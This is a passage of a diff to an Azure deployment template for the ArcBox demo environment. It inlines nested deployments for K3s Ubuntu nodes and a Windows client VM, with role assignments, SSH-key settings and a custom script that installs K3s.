variables('numberOfIPAddresses'))[sub(range(1, variables('numberOfIPAddresses'))[copyIndex('ipConfigurations')], 1)]))]" + }, + "primary": "[if(equals(range(1, variables('numberOfIPAddresses'))[copyIndex('ipConfigurations')], 1), true(), false())]" + } + } + } + ] + }, + "dependsOn": [ + "publicIpAddresses" + ] + }, + { + "type": "Microsoft.Compute/virtualMachines", + "apiVersion": "2022-03-01", + "name": "[parameters('vmName')]", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "hardwareProfile": { + "vmSize": "[parameters('vmSize')]" + }, + "storageProfile": { + "osDisk": { + "name": "[format('{0}-OSDisk', parameters('vmName'))]", + "caching": "ReadWrite", + "createOption": "FromImage", + "managedDisk": { + "storageAccountType": "[variables('osDiskType')]" + }, + "diskSizeGB": "[variables('diskSize')]" + }, + "imageReference": { + "publisher": "canonical", + "offer": "0001-com-ubuntu-server-jammy", + "sku": "[parameters('ubuntuOSVersion')]", + "version": "latest" + } + }, + "networkProfile": { + "networkInterfaces": [ + { + "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]" + } + ] + }, + "osProfile": { + "computerName": "[parameters('vmName')]", + "adminUsername": "[parameters('adminUsername')]", + "linuxConfiguration": { + "disablePasswordAuthentication": true, + "ssh": { + "publicKeys": [ + { + "path": "[format('/home/{0}/.ssh/authorized_keys', parameters('adminUsername'))]", + "keyData": "[parameters('sshRSAPublicKey')]" + } + ] + } + } + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]" + ] + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Owner')]", + "properties": { + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), '2022-03-01', 'full').identity.principalId]", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor')]", + "properties": { + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), '2022-03-01', 'full').identity.principalId]", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] + }, + { + "type": "Microsoft.Compute/virtualMachines/extensions", + "apiVersion": "2022-03-01", + "name": "[format('{0}/{1}', parameters('vmName'), 'installscript_k3s')]", + "location": "[parameters('azureLocation')]", + "properties": { + "publisher": "Microsoft.Azure.Extensions", + "type": "CustomScript", + "typeHandlerVersion": "2.1", + "autoUpgradeMinorVersion": true, + "settings": {}, + "protectedSettings": { + "commandToExecute": "[format('bash installK3s.sh {0} {1} {2} {3} {4} {5} {6} {7} {8}', parameters('adminUsername'), subscription().subscriptionId, parameters('vmName'), parameters('azureLocation'), parameters('stagingStorageAccountName'), parameters('logAnalyticsWorkspace'), parameters('templateBaseUrl'), parameters('storageContainerName'), variables('k3sControlPlane'))]", + "fileUris": [ + "[format('{0}artifacts/installK3s.sh', parameters('templateBaseUrl'))]" + ] + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]", + "[resourceId('Microsoft.Authorization/roleAssignments', guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Owner'))]", + "[resourceId('Microsoft.Authorization/roleAssignments', guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor'))]" + ] + } + ] + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'mgmtArtifactsAndPolicyDeployment')]", + "[resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment')]" + ] + }, + { + "copy": { + "name": "ubuntuRancherK3sDataSvcNodesDeployment", + "count": "[length(range(0, variables('k3sClusterNodesCount')))]" + }, + "condition": "[or(equals(parameters('flavor'), 'DataOps'), equals(parameters('flavor'), 'DevOps'))]", + "type": "Microsoft.Resources/deployments", + "apiVersion": "2022-09-01", + "name": "[format('ubuntuRancherK3sDataSvcNodesDeployment-{0}', range(0, variables('k3sClusterNodesCount'))[copyIndex()])]", + "properties": { + "expressionEvaluationOptions": { + "scope": "inner" + }, + "mode": "Incremental", + "parameters": { + "sshRSAPublicKey": { + "value": "[parameters('sshRSAPublicKey')]" }, "stagingStorageAccountName": { - "value": "[reference('stagingStorageAccountDeployment').outputs.storageAccountName.value]" + "value": "[toLower(reference(resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment'), '2022-09-01').outputs.storageAccountName.value)]" }, "logAnalyticsWorkspace": { "value": "[parameters('logAnalyticsWorkspaceName')]" @@ -169,54 +533,281 @@ "templateBaseUrl": { "value": "[variables('templateBaseUrl')]" }, - "deployBastion": { - "value": "[parameters('deployBastion')]" + "subnetId": { + "value": "[reference(resourceId('Microsoft.Resources/deployments', 'mgmtArtifactsAndPolicyDeployment'), '2022-09-01').outputs.subnetId.value]" + }, + "azureLocation": { + "value": "[parameters('location')]" }, "flavor": { "value": "[parameters('flavor')]" }, - "capiArcDataClusterName" : { - "value": "[variables('capiArcDataClusterName')]" + "vmName": { + "value": "[format('{0}-Node-0{1}', variables('k3sArcDataClusterName'), range(0, variables('k3sClusterNodesCount'))[copyIndex()])]" }, - "rdpPort":{ - "value": "[parameters('rdpPort')]" + "storageContainerName": { + "value": "[toLower(variables('k3sArcDataClusterName'))]" }, - "sshPort":{ - "value": "[parameters('sshPort')]" + "namingPrefix": { + "value": "[parameters('namingPrefix')]" } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.29.47.4906", + "templateHash": "9882362287265074744" + } + }, + "parameters": { + "vmName": { + "type": "string", + "defaultValue": "[format('{0}-K3s-Node', parameters('namingPrefix'))]", + "metadata": { + "description": "The name of you Virtual Machine" + } + }, + "adminUsername": { + "type": "string", + "defaultValue": "arcdemo", + "metadata": { + "description": "Username for the Virtual Machine" + } + }, + "sshRSAPublicKey": { + "type": "securestring", + "defaultValue": "", + "metadata": { + "description": "RSA public key used for securing SSH access to ArcBox resources. This parameter is only needed when deploying the DataOps or DevOps flavors." + } + }, + "ubuntuOSVersion": { + "type": "string", + "defaultValue": "22_04-lts-gen2", + "allowedValues": [ + "22_04-lts-gen2" + ], + "metadata": { + "description": "The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version" + } + }, + "azureLocation": { + "type": "string", + "defaultValue": "[resourceGroup().location]", + "metadata": { + "description": "Location for all resources." + } + }, + "subnetId": { + "type": "string", + "metadata": { + "description": "Resource Id of the subnet in the virtual network" + } + }, + "stagingStorageAccountName": { + "type": "string", + "metadata": { + "description": "Name for the staging storage account using to hold kubeconfig. This value is passed into the template as an output from mgmtStagingStorage.json" + } + }, + "logAnalyticsWorkspace": { + "type": "string", + "metadata": { + "description": "Name of the Log Analytics workspace used with cluster extensions" + } + }, + "templateBaseUrl": { + "type": "string", + "metadata": { + "description": "The base URL used for accessing artifacts and automation artifacts" + } + }, + "flavor": { + "type": "string", + "allowedValues": [ + "ITPro", + "DevOps", + "DataOps" + ], + "metadata": { + "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro'" + } + }, + "storageContainerName": { + "type": "string", + "metadata": { + "description": "Storage account container name for artifacts" + } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } + } + }, + "variables": { + "networkInterfaceName": "[format('{0}-NIC', parameters('vmName'))]", + "osDiskType": "Premium_LRS", + "vmSize": "[if(equals(parameters('flavor'), 'DevOps'), 'Standard_B2ms', 'Standard_B8ms')]", + "diskSize": "[if(equals(parameters('flavor'), 'DataOps'), 512, 64)]" + }, + "resources": [ + { + "type": "Microsoft.Network/networkInterfaces", + "apiVersion": "2022-01-01", + "name": "[variables('networkInterfaceName')]", + "location": "[parameters('azureLocation')]", + "properties": { + "ipConfigurations": [ + { + "name": "ipconfig1", + "properties": { + "subnet": { + "id": "[parameters('subnetId')]" + }, + "privateIPAllocationMethod": "Dynamic" + } + } + ] + } + }, + { + "type": "Microsoft.Compute/virtualMachines", + "apiVersion": "2022-03-01", + "name": "[parameters('vmName')]", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "hardwareProfile": { + "vmSize": "[variables('vmSize')]" + }, + "storageProfile": { + "osDisk": { + "name": "[format('{0}-OSDisk', parameters('vmName'))]", + "caching": "ReadWrite", + "createOption": "FromImage", + "managedDisk": { + "storageAccountType": "[variables('osDiskType')]" + }, + "diskSizeGB": "[variables('diskSize')]" + }, + "imageReference": { + "publisher": "canonical", + "offer": "0001-com-ubuntu-server-jammy", + "sku": "[parameters('ubuntuOSVersion')]", + "version": "latest" + } + }, + "networkProfile": { + "networkInterfaces": [ + { + "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]" + } + ] + }, + "osProfile": { + "computerName": "[parameters('vmName')]", + "adminUsername": "[parameters('adminUsername')]", + "linuxConfiguration": { + "disablePasswordAuthentication": true, + "ssh": { + "publicKeys": [ + { + "path": "[format('/home/{0}/.ssh/authorized_keys', parameters('adminUsername'))]", + "keyData": "[parameters('sshRSAPublicKey')]" + } + ] + } + } + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]" + ] + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Owner')]", + "properties": { + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), '2022-03-01', 'full').identity.principalId]", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor')]", + "properties": { + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), '2022-03-01', 'full').identity.principalId]", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] + }, + { + "type": "Microsoft.Compute/virtualMachines/extensions", + "apiVersion": "2022-03-01", + "name": "[format('{0}/{1}', parameters('vmName'), 'installscript_k3s')]", + "location": "[parameters('azureLocation')]", + "properties": { + "publisher": "Microsoft.Azure.Extensions", + "type": "CustomScript", + "typeHandlerVersion": "2.1", + "autoUpgradeMinorVersion": true, + "settings": {}, + "protectedSettings": { + "commandToExecute": "[format('bash installK3s.sh {0} {1} {2} {3} {4} {5} {6} {7}', parameters('adminUsername'), subscription().subscriptionId, parameters('vmName'), parameters('azureLocation'), parameters('stagingStorageAccountName'), parameters('logAnalyticsWorkspace'), parameters('templateBaseUrl'), parameters('storageContainerName'))]", + "fileUris": [ + "[format('{0}artifacts/installK3s.sh', parameters('templateBaseUrl'))]" + ] + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]", + "[resourceId('Microsoft.Authorization/roleAssignments', guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Owner'))]", + "[resourceId('Microsoft.Authorization/roleAssignments', guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor'))]" + ] + } + ] } - } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'mgmtArtifactsAndPolicyDeployment')]", + "[resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment')]", + "[resourceId('Microsoft.Resources/deployments', 'ubuntuRancherK3sDataSvcDeployment')]" + ] }, { + "condition": "[equals(parameters('flavor'), 'DevOps')]", "type": "Microsoft.Resources/deployments", - "apiVersion": "2021-04-01", - "name": "ubuntuRancherDeployment", - "dependsOn": [ - "stagingStorageAccountDeployment", - "mgmtArtifactsAndPolicyDeployment" - ], - "condition": "[or(equals(parameters('flavor'),'Full'),equals(parameters('flavor'),'DevOps'))]", + "apiVersion": "2022-09-01", + "name": "ubuntuRancherK3sDeployment", "properties": { - "mode": "Incremental", - "templateLink": { - "uri": "[variables('rancherTemplateUrl')]", - "contentVersion": "1.0.0.0" + "expressionEvaluationOptions": { + "scope": "inner" }, + "mode": "Incremental", "parameters": { "sshRSAPublicKey": { "value": "[parameters('sshRSAPublicKey')]" }, - "spnClientId": { - "value": "[parameters('spnClientId')]" - }, - "spnClientSecret": { - "value": "[parameters('spnClientSecret')]" - }, - "spnTenantId": { - "value": "[parameters('spnTenantId')]" - }, "stagingStorageAccountName": { - "value": "[reference('stagingStorageAccountDeployment').outputs.storageAccountName.value]" + "value": "[toLower(reference(resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment'), '2022-09-01').outputs.storageAccountName.value)]" }, "logAnalyticsWorkspace": { "value": "[parameters('logAnalyticsWorkspaceName')]" @@ -224,35 +815,311 @@ "templateBaseUrl": { "value": "[variables('templateBaseUrl')]" }, - "deployBastion": { - "value": "[parameters('deployBastion')]" + "subnetId": { + "value": "[reference(resourceId('Microsoft.Resources/deployments', 'mgmtArtifactsAndPolicyDeployment'), '2022-09-01').outputs.subnetId.value]" }, - "vmName":{ - "value": "[variables('k3sArcDataClusterName')]" + "azureLocation": { + "value": "[parameters('location')]" }, - "rdpPort":{ - "value": "[parameters('rdpPort')]" + "vmName": { + "value": "[variables('k3sArcClusterName')]" + }, + "storageContainerName": { + "value": "[toLower(variables('k3sArcClusterName'))]" + }, + "flavor": { + "value": "[parameters('flavor')]" }, - "sshPort":{ - "value": "[parameters('sshPort')]" + "namingPrefix": { + "value": "[parameters('namingPrefix')]" } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.29.47.4906", + "templateHash": "16381001317417135477" + } + }, + "parameters": { + "vmName": { + "type": "string", + "defaultValue": "[format('{0}-K3s', parameters('namingPrefix'))]", + "metadata": { + "description": "The name of you Virtual Machine" + } + }, + "adminUsername": { + "type": "string", + "defaultValue": "arcdemo", + "metadata": { + "description": "Username for the Virtual Machine" + } + }, + "sshRSAPublicKey": { + "type": "securestring", + "defaultValue": "", + "metadata": { + "description": "RSA public key used for securing SSH access to ArcBox resources. This parameter is only needed when deploying the DataOps or DevOps flavors." + } + }, + "ubuntuOSVersion": { + "type": "string", + "defaultValue": "22_04-lts-gen2", + "allowedValues": [ + "22_04-lts-gen2" + ], + "metadata": { + "description": "The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version" + } + }, + "azureLocation": { + "type": "string", + "defaultValue": "[resourceGroup().location]", + "metadata": { + "description": "Location for all resources." + } + }, + "vmSize": { + "type": "string", + "defaultValue": "Standard_B4ms", + "metadata": { + "description": "The size of the VM" + } + }, + "subnetId": { + "type": "string", + "metadata": { + "description": "Resource Id of the subnet in the virtual network" + } + }, + "stagingStorageAccountName": { + "type": "string", + "metadata": { + "description": "Name for the staging storage account using to hold kubeconfig. This value is passed into the template as an output from mgmtStagingStorage.json" + } + }, + "logAnalyticsWorkspace": { + "type": "string", + "metadata": { + "description": "Name of the Log Analytics workspace used with cluster extensions" + } + }, + "templateBaseUrl": { + "type": "string", + "metadata": { + "description": "The base URL used for accessing artifacts and automation artifacts" + } + }, + "storageContainerName": { + "type": "string", + "metadata": { + "description": "Storage account container name for artifacts" + } + }, + "flavor": { + "type": "string", + "allowedValues": [ + "ITPro", + "DevOps", + "DataOps" + ], + "metadata": { + "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro'" + } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } + } + }, + "variables": { + "publicIpAddressName": "[format('{0}-PIP', parameters('vmName'))]", + "networkInterfaceName": "[format('{0}-NIC', parameters('vmName'))]", + "osDiskType": "Premium_LRS", + "k3sControlPlane": "true", + "diskSize": "[if(equals(parameters('flavor'), 'DataOps'), 512, 64)]", + "numberOfIPAddresses": "[if(equals(parameters('flavor'), 'DataOps'), 8, 5)]" + }, + "resources": [ + { + "copy": { + "name": "publicIpAddresses", + "count": "[length(range(1, variables('numberOfIPAddresses')))]" + }, + "type": "Microsoft.Network/publicIPAddresses", + "apiVersion": "2022-01-01", + "name": "[format('{0}{1}', variables('publicIpAddressName'), range(1, variables('numberOfIPAddresses'))[copyIndex()])]", + "location": "[parameters('azureLocation')]", + "properties": { + "publicIPAllocationMethod": "Static", + "publicIPAddressVersion": "IPv4", + "idleTimeoutInMinutes": 4 + }, + "sku": { + "name": "Basic" + } + }, + { + "type": "Microsoft.Network/networkInterfaces", + "apiVersion": "2022-01-01", + "name": "[variables('networkInterfaceName')]", + "location": "[parameters('azureLocation')]", + "properties": { + "copy": [ + { + "name": "ipConfigurations", + "count": "[length(range(1, variables('numberOfIPAddresses')))]", + "input": { + "name": "[format('ipconfig{0}', range(1, variables('numberOfIPAddresses'))[copyIndex('ipConfigurations')])]", + "properties": { + "subnet": { + "id": "[parameters('subnetId')]" + }, + "privateIPAllocationMethod": "Dynamic", + "publicIPAddress": { + "id": "[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIpAddressName'), range(1, variables('numberOfIPAddresses'))[sub(range(1, variables('numberOfIPAddresses'))[copyIndex('ipConfigurations')], 1)]))]" + }, + "primary": "[if(equals(range(1, variables('numberOfIPAddresses'))[copyIndex('ipConfigurations')], 1), true(), false())]" + } + } + } + ] + }, + "dependsOn": [ + "publicIpAddresses" + ] + }, + { + "type": "Microsoft.Compute/virtualMachines", + "apiVersion": "2022-03-01", + "name": "[parameters('vmName')]", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "hardwareProfile": { + "vmSize": "[parameters('vmSize')]" + }, + "storageProfile": { + "osDisk": { + "name": "[format('{0}-OSDisk', parameters('vmName'))]", + "caching": "ReadWrite", + "createOption": "FromImage", + "managedDisk": { + "storageAccountType": "[variables('osDiskType')]" + }, + "diskSizeGB": "[variables('diskSize')]" + }, + "imageReference": { + "publisher": "canonical", + "offer": "0001-com-ubuntu-server-jammy", + "sku": "[parameters('ubuntuOSVersion')]", + "version": "latest" + } + }, + "networkProfile": { + "networkInterfaces": [ + { + "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]" + } + ] + }, + "osProfile": { + "computerName": "[parameters('vmName')]", + "adminUsername": "[parameters('adminUsername')]", + "linuxConfiguration": { + "disablePasswordAuthentication": true, + "ssh": { + "publicKeys": [ + { + "path": "[format('/home/{0}/.ssh/authorized_keys', parameters('adminUsername'))]", + "keyData": "[parameters('sshRSAPublicKey')]" + } + ] + } + } + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]" + ] + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Owner')]", + "properties": { + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), '2022-03-01', 'full').identity.principalId]", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor')]", + "properties": { + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), '2022-03-01', 'full').identity.principalId]", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]" + ] + }, + { + "type": "Microsoft.Compute/virtualMachines/extensions", + "apiVersion": "2022-03-01", + "name": "[format('{0}/{1}', parameters('vmName'), 'installscript_k3s')]", + "location": "[parameters('azureLocation')]", + "properties": { + "publisher": "Microsoft.Azure.Extensions", + "type": "CustomScript", + "typeHandlerVersion": "2.1", + "autoUpgradeMinorVersion": true, + "settings": {}, + "protectedSettings": { + "commandToExecute": "[format('bash installK3s.sh {0} {1} {2} {3} {4} {5} {6} {7} {8}', parameters('adminUsername'), subscription().subscriptionId, parameters('vmName'), parameters('azureLocation'), parameters('stagingStorageAccountName'), parameters('logAnalyticsWorkspace'), parameters('templateBaseUrl'), parameters('storageContainerName'), variables('k3sControlPlane'))]", + "fileUris": [ + "[format('{0}artifacts/installK3s.sh', parameters('templateBaseUrl'))]" + ] + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', parameters('vmName'))]", + "[resourceId('Microsoft.Authorization/roleAssignments', guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Owner'))]", + "[resourceId('Microsoft.Authorization/roleAssignments', guid(resourceId('Microsoft.Compute/virtualMachines', parameters('vmName')), 'Microsoft.Authorization/roleAssignments', 'Storage Blob Data Contributor'))]" + ] + } + ] } - } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'mgmtArtifactsAndPolicyDeployment')]", + "[resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment')]" + ] }, { "type": "Microsoft.Resources/deployments", - "apiVersion": "2021-04-01", + "apiVersion": "2022-09-01", "name": "clientVmDeployment", - "dependsOn": [ - "stagingStorageAccountDeployment", - "updateVNetDNSServers" - ], "properties": { - "mode": "Incremental", - "templateLink": { - "uri": "[variables('clientVmTemplateUrl')]", - "contentVersion": "1.0.0.0" + "expressionEvaluationOptions": { + "scope": "inner" }, + "mode": "Incremental", "parameters": { "windowsAdminUsername": { "value": "[parameters('windowsAdminUsername')]" @@ -260,20 +1127,17 @@ "windowsAdminPassword": { "value": "[parameters('windowsAdminPassword')]" }, - "spnClientId": { - "value": "[parameters('spnClientId')]" - }, - "spnClientSecret": { - "value": "[parameters('spnClientSecret')]" + "azdataPassword": { + "value": "[parameters('windowsAdminPassword')]" }, - "spnTenantId": { - "value": "[parameters('spnTenantId')]" + "tenantId": { + "value": "[parameters('tenantId')]" }, "workspaceName": { "value": "[parameters('logAnalyticsWorkspaceName')]" }, "stagingStorageAccountName": { - "value": "[reference('stagingStorageAccountDeployment').outputs.storageAccountName.value]" + "value": "[toLower(reference(resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment'), '2022-09-01').outputs.storageAccountName.value)]" }, "templateBaseUrl": { "value": "[variables('templateBaseUrl')]" @@ -281,84 +1145,4110 @@ "flavor": { "value": "[parameters('flavor')]" }, + "subnetId": { + "value": "[reference(resourceId('Microsoft.Resources/deployments', 'mgmtArtifactsAndPolicyDeployment'), '2022-09-01').outputs.subnetId.value]" + }, "deployBastion": { "value": "[parameters('deployBastion')]" }, + "githubBranch": { + "value": "[parameters('githubBranch')]" + }, "githubUser": { "value": "[parameters('githubUser')]" }, - "capiArcDataClusterName": { - "value": "[variables('capiArcDataClusterName')]" + "location": { + "value": "[parameters('location')]" }, - "k3sArcClusterName": { + "k3sArcDataClusterName": { "value": "[variables('k3sArcDataClusterName')]" }, + "k3sArcClusterName": { + "value": "[variables('k3sArcClusterName')]" + }, "aksArcClusterName": { "value": "[variables('aksArcDataClusterName')]" }, "aksdrArcClusterName": { "value": "[variables('aksDrArcDataClusterName')]" }, - "rdpPort":{ + "vmAutologon": { + "value": "[parameters('vmAutologon')]" + }, + "rdpPort": { "value": "[parameters('rdpPort')]" }, - "sshPort":{ - "value": "[parameters('sshPort')]" + "addsDomainName": { + "value": "[parameters('addsDomainName')]" + }, + "customLocationRPOID": { + "value": "[parameters('customLocationRPOID')]" + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" + }, + "debugEnabled": { + "value": "[parameters('debugEnabled')]" + }, + "autoShutdownEnabled": { + "value": "[parameters('autoShutdownEnabled')]" + }, + "autoShutdownTime": { + "value": "[parameters('autoShutdownTime')]" + }, + "autoShutdownTimezone": { + "value": "[parameters('autoShutdownTimezone')]" + }, + "autoShutdownEmailRecipient": { + "value": "[parameters('autoShutdownEmailRecipient')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.29.47.4906", + "templateHash": "5450393794893126300" + } + }, + "parameters": { + "vmName": { + "type": "string", + "defaultValue": "[format('{0}-Client', parameters('namingPrefix'))]", + "metadata": { + "description": "The name of your Virtual Machine" + } + }, + "k3sArcDataClusterName": { + "type": "string", + "defaultValue": "[format('{0}-K3s-Data', parameters('namingPrefix'))]", + "metadata": { + "description": "The name of the Cluster API workload cluster to be connected as an Azure Arc-enabled Kubernetes cluster" + } + }, + "windowsAdminUsername": { + "type": "string", + "defaultValue": "arcdemo", + "metadata": { + "description": "Username for the Virtual Machine" + } + }, + "vmAutologon": { + "type": "bool", + "defaultValue": false, + "metadata": { + "description": "Enable automatic logon into ArcBox Virtual Machine" + } + }, + "rdpPort": { + "type": "string", + "defaultValue": "3389", + "metadata": { + "description": "Override default RDP port using this parameter. Default is 3389. No changes will be made to the client VM." + } + }, + "windowsAdminPassword": { + "type": "securestring", + "minLength": 12, + "maxLength": 123, + "metadata": { + "description": "Password for Windows account. Password must have 3 of the following: 1 lower case character, 1 upper case character, 1 number, and 1 special character. The value must be between 12 and 123 characters long" + } + }, + "windowsOSVersion": { + "type": "string", + "defaultValue": "2022-datacenter-g2", + "metadata": { + "description": "The Windows version for the VM. This will pick a fully patched image of this given Windows version" + } + }, + "location": { + "type": "string", + "defaultValue": "[resourceGroup().location]", + "metadata": { + "description": "Location for all resources" + } + }, + "subnetId": { + "type": "string", + "metadata": { + "description": "Resource Id of the subnet in the virtual network" + } + }, + "spnAuthority": { + "type": "string", + "defaultValue": "[environment().authentication.loginEndpoint]" + }, + "tenantId": { + "type": "string", + "metadata": { + "description": "Your Microsoft Entra tenant Id" + } + }, + "azdataUsername": { + "type": "string", + "defaultValue": "arcdemo" + }, + "azdataPassword": { + "type": "securestring" + }, + "acceptEula": { + "type": "string", + "defaultValue": "yes" + }, + "registryUsername": { + "type": "string", + "defaultValue": "registryUser" + }, + "registryPassword": { + "type": "securestring", + "defaultValue": "[newGuid()]" + }, + "arcDcName": { + "type": "string", + "defaultValue": "arcdatactrl" + }, + "mssqlmiName": { + "type": "string", + "defaultValue": "arcsqlmidemo" + }, + "postgresName": { + "type": "string", + "defaultValue": "arcpg", + "metadata": { + "description": "Name of PostgreSQL server group" + } + }, + "postgresWorkerNodeCount": { + "type": "int", + "defaultValue": 3, + "metadata": { + "description": "Number of PostgreSQL worker nodes" + } + }, + "postgresDatasize": { + "type": "int", + "defaultValue": 1024, + "metadata": { + "description": "Size of data volumes in MB" + } + }, + "postgresServiceType": { + "type": "string", + "defaultValue": "LoadBalancer", + "metadata": { + "description": "Choose how PostgreSQL service is accessed through Kubernetes networking interface" + } + }, + "stagingStorageAccountName": { + "type": "string", + "metadata": { + "description": "Name for the staging storage account using to hold kubeconfig. This value is passed into the template as an output from mgmtStagingStorage.json" + } + }, + "workspaceName": { + "type": "string", + "metadata": { + "description": "Name for the environment Azure Log Analytics workspace" + } + }, + "templateBaseUrl": { + "type": "string", + "metadata": { + "description": "The base URL used for accessing artifacts and automation artifacts." + } + }, + "resourceTags": { + "type": "object", + "defaultValue": { + "Solution": "jumpstart_arcbox" + }, + "metadata": { + "description": "Tags to assign for all ArcBox resources" + } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } + }, + "flavor": { + "type": "string", + "defaultValue": "Full", + "allowedValues": [ + "Full", + "ITPro", + "DevOps", + "DataOps" + ], + "metadata": { + "description": "The flavor of 